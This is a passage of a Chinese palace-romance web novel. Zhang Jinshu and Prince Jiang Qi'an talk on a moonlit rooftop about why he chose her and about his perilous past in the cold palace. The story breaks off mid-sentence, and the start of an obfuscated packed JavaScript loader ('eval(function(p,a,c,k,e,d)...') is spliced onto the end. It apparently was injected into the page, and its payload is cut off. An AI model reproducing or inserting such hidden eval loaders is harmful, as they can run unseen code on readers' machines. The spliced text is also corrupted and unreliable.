宴饮至晚方歇,今夜无云,圆盘似的明月悬在天上,透过枯树枝桠投下满地的影。
因为入秋,晚间也凉了起来。张锦书却仿佛不怕冷,悄悄的爬上屋顶看着月亮。
少女托腮仰望圆月,却不知在心底许下了什么愿。
“锦书姑娘怎么在此处,让我好找……”
熟悉的声响唤回了张锦书游离天外的思绪。她低头去瞧,就见江祈安站在地上仰面看着她温温柔柔的笑。
“殿下也上来吧,上面视野更宽阔些,离月亮也更近呢。”张锦书笑着看向一旁直连房顶的石阶。
江祈安从前在宫里一直谨小慎微,哪里上过屋顶,此时自然有些犹豫。
“可是……”
“殿下若不上来也罢,反正我不下去的。”
张锦书也不怕他,说罢便收回目光继续看着月亮,也不再理他。
江祈安见张锦书当真不肯下来,便只能提起衣袍的下摆,一步一步的走上石阶,在张锦书身侧坐下。
“没见过还要砌石阶连着屋顶的。”江祈安在张锦书身侧坐定后长长的出了一口气。
“我小的时候也总喜欢搬了木梯子往屋顶上爬。父亲怕我摔了,便特意修了这条石阶,还嘱咐工匠修的结实些。后来便一直留到现在了。”忆起从前张锦书的脸上露出幸福的笑。
江祈安听了,也忍不住笑。他的童年不幸,可他还是希望身边人都能幸福。
张锦书见江祈安许久无言,便又转头看着月亮。月光如华,却又清冷,不知照亮了几人心事。
“其实,民女一直想问殿下,殿选当日,为何独独选了民女?”不知过了多久,到底还是张锦书打破了这月下寂静。
这样的问题自殿选那日见了江祈安的眼,便在她的心里萦绕了许久。
张锦书转头看着身侧的人,却惹得他乱了心神。
为什么会选了她吗?其实这个问题在殿选后那日夜里,东宫的书房内,江祈安也曾这样问过自己。但很可惜,那日直到他倒在书案上沉沉睡去,也未能得到答案。
江祈安的出身并不好。
他生于冷宫,长于冷宫。六岁前东躲西藏没过过一天安稳日子。若非彼时皇帝膝下唯有他这一个儿子,只怕早不知死在了何处。
后来他终于被皇帝接出冷宫,却一月而亡母。再后来,他在栖梧宫的一句“童言无忌”又将自己推入更深的深渊。
好在,他还有祖母。万幸,他还有祖母。
当年太后娘娘亲自杀进栖梧宫将他抱出,才护了他十一年的性命。
可太后护得住他的命,却拦不住皇帝的废立之心。
他又能安稳到哪一日呢?
便是这次选秀,他本也不愿选的,他不想牵累旁人。明知自己身处地狱还要拉旁人作陪,这天底下没有这样的道理。
他的未来在尚宫台,在冷宫,在那封已经写好,不知何时就会昭告天下的废他为庶人的圣旨上。他注定要被圈禁终生。
无论谁做了他的妻,命途只会与他一样。
可是,礼部上奏,众臣联名上谏。
逼得陛下圣旨,逼得他不得不选。
至于为何选了张锦书呢?
许是因她还在宁秀苑习礼时,他隐在暗处偷偷瞥见的那盈盈一笑;许是因她被李尚宫罚了跪,却还要在无人处哼唱的那一支小调;许是因殿选当日照在她身上的那一束光。
又或许,只是在他内心深处本就还渴望着,能有一束光照亮他那漆黑的前路。
这样的话他不愿瞒着张锦书。她与他夫妻一体,她有知晓命运的权利。可他又怕,怕张锦书知晓实情的那一刻会后悔参选,会怨恨于他。
江祈安的内心天人交战,他觉得这样的自己是卑劣的。
可他在心里挣扎许久,最后却只是别扭的转过头去故作轻松的答:“只是觉得你好养活而已。”
“那殿下为何不选侧妃呢?”张锦书又问。
“以后会养不起。”
这样的回答很不正经,也很没有说服力,经不起任何推敲。
江祈安怕张锦书再问什么他难以回答的问题,忙抢先一步先发制人:“锦书姑娘呢?又为什么要去参加大选?”
张锦书见江祈安这样问,仰望着明月长长的叹了口气,咬了一下下唇才开口。
“父亲是个读书人,自我记事起便总是被欺负。还要自己安慰自己‘吃亏是福’。从前也就罢了,无非是家中日子过得清贫些。可是,这样的家庭注定什么机会都守不住。”
“去年,乡中的大儒来招弟子,本该是招了延龄的,却被孙耀祖抢了去。”
“我不甘心,闹过,骂过。却都没有用。最后,还反是鹤龄延龄两个孩子来安慰我。那时我就在想,终有一日我要把他们都踩在脚底下,让所有人都不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t